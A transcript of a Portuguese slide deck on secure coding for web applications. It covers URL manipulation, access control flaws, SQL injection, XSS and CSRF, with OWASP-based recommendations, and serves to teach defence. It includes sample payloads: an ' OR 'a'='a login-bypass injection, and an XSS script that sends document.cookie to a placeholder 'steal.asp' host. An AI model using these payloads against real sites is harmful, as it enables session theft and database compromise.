Lições praticas de codigo seguro
-
Upload
arthur-paixao -
Category
Documents
-
view
807 -
download
4
Transcript of Lições praticas de codigo seguro
![Page 1: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/1.jpg)
Lições Práticas de Código Seguro
![Page 2: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/2.jpg)
Quem sou eu?
• Arthur Paixão• 5 Anos de experiência na área de segurança da informação• Certificações:
EC-CSA (EcCouncil Certified Security Analyst) EC-CHFI (EcCouncil Computer Hacking Forensic Investigator)
• Diversos cursos de especialização na área:
INTEL, Fundação Bradesco, DragonJAR, Offensive Security
• Atualmente trabalho:Security Consulting & Pentester: Equipe de Resposta a Tratamento de
Incidentes de Segurança (CSIRT)Desenvolvedor: Java, Flex, PL-SQL, Oracle Forms (6i & 10g)
![Page 3: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/3.jpg)
Agenda
A Evolução dos Ataques Application Security != Network Security Entendendo as táticas do inimigo O quanto segura deve ser sua aplicação? Custos que envolvem uma aplicação segura ? Porquê o PHP é tão vulnerável?
![Page 4: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/4.jpg)
Agenda
Principais Ameaças: Injeções Cross-Site Scripting (XSS)Referência direta à objetos Cross-Site Request Forgery (CSRF)Falha na Restrição de Acesso à URLsURL Manipulation
![Page 5: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/5.jpg)
Agenda
Principais Ameaças:Canal InseguroRedirecionamentos Não-Validados
![Page 6: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/6.jpg)
Segurança é ...?
![Page 7: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/7.jpg)
É tudo a mesma coisa?
Application Security != Network Security
X
![Page 8: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/8.jpg)
Evolução dos Ataques
A evolução dos ataques.
![Page 9: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/9.jpg)
Onde identificar falhas?
No início, ao não identificar as necessidades de segurança
Na criação de arquiteturas conceituais que possuam erros de lógica
No uso de más práticas de programação que introduzam vulnerabilidades técnicas
Na implementação do software de modo inapropriado Na inserção de falhas durante a manutenção ou a
atualização
![Page 10: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/10.jpg)
Onde identificar falhas?
Vulnerabilidades de software podem ter um escopo muito maior do que o do próprio software.
• O software e sua informação associada• O sistema operacional dos servidores associados• A base de dados do backend.• Outras aplicações em um ambiente compartilhado• O sistema do usuário• Outros softwares com os quais o usuário interage
![Page 11: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/11.jpg)
URL Manipulation
O comando GET requisita informações importantes na URL.
Os parâmetros podem ser manipulados para se obter resultados satisfatórios.
O impacto é ALTO. Variações podem ser feitas para se tentar obter
resultados interessantes.
http://www.vitima.com/exemplo?usuario=arthurpaixao&senha=123
![Page 12: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/12.jpg)
Falha na Restrição de Acesso à URLs
Exposição do nível de privilégio.É possível forçar outros níveis
(admin, manager, etc)
![Page 13: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/13.jpg)
Falha na Restrição de Acesso à URLs
Recomendações:Restrição de acesso em várias
camadas.Bloqueie requisições à tipos não
autorizados de arquivos (configurações, logs, fontes, etc.)
![Page 14: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/14.jpg)
SQL Injection
A ideia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB.
Todos os parâmetros passados são direcionados para o banco de dados.
O atacante pode manipular com as tabelas e dados diretamente.
![Page 15: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/15.jpg)
SQL Injection
• Client-Side: (O Truque Ninja) ' OR 'a'='a
•Server-Side:SELECT id FROM usuariosWHERE nome = '$nome'AND senha = '' OR 'a'='a';
![Page 16: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/16.jpg)
Injections em Geral
Recomendações: Tratamento de entradas Validação por whitelist Minimize os privilégios OWASP:
SQL_Injection_Prevention_Cheat_Sheet
![Page 17: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/17.jpg)
Cross-Site Scripting (XSS)
Enviados ao browser do usuário Posts, URLs, javascript, etc... Todo Browser é “vulnerável”:
javascript:alert(document.cookie) Redirecionamento e/ou roubo de dados
![Page 18: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/18.jpg)
Cross-Site Scripting (XSS)
![Page 19: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/19.jpg)
Cross-Site Scripting (XSS)
• Esta vulnerabilidade tira vantagens de sites que não fazem o tratamento dos dados de entrada.
• O POST contém um script que pode ser executado via browser.
<script>window.navigate("http://site.com/steal.asp?cookie="+document.cookie)
</script>
![Page 20: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/20.jpg)
Cross-Site Scripting (XSS)
• Ataque de XSS Persistente Dados enviados sem tratamento para
usuários.
![Page 21: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/21.jpg)
Cross-Site Scripting (XSS)
• Ataque de XSS Não Persistente Dados enviados de volta sem tratamento e
executado no browser da vítima.
![Page 22: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/22.jpg)
Cross-Site Scripting (XSS)
• Ataque de XSS DOM Código executado no browser utilizando
elementos do DOM. Não há falha no servidor
![Page 23: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/23.jpg)
Cross-Site Scripting (XSS)
• Recomendações: Validação de entrada Validação de saída Validação de elementos do DOM OWASP
XSS Prevention Cheat Sheet
![Page 24: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/24.jpg)
Cross Site Request Forgery (CSRF)
• Browsers enviam alguns tipos de credenciais automaticamente em cada requisição.
Cookies
Cabeçalhos
Endereço IP
Certificados SSL
![Page 25: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/25.jpg)
Cross Site Request Forgery (CSRF)
• Recomendações: Autenticações forcadas em requisições
sensíveis. Controle exposição de dados utilizados
como credenciais. OWASP:
CSRF_Prevention_Cheat_Sheet
![Page 26: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/26.jpg)
Referência
• www.usecurity.com.br
• www.owasp.org
• www.thehackernews.com
• www.guiadohacker.com.br/forum
• www.remote-execution.blogspot.com.br
• www.securitytube.net
![Page 27: Lições praticas de codigo seguro](https://reader035.fdocument.pub/reader035/viewer/2022062319/55610e65d8b42a89138b4eb6/html5/thumbnails/27.jpg)
[email protected]/arthur.paixaotwitter.com.br/arthurpaixao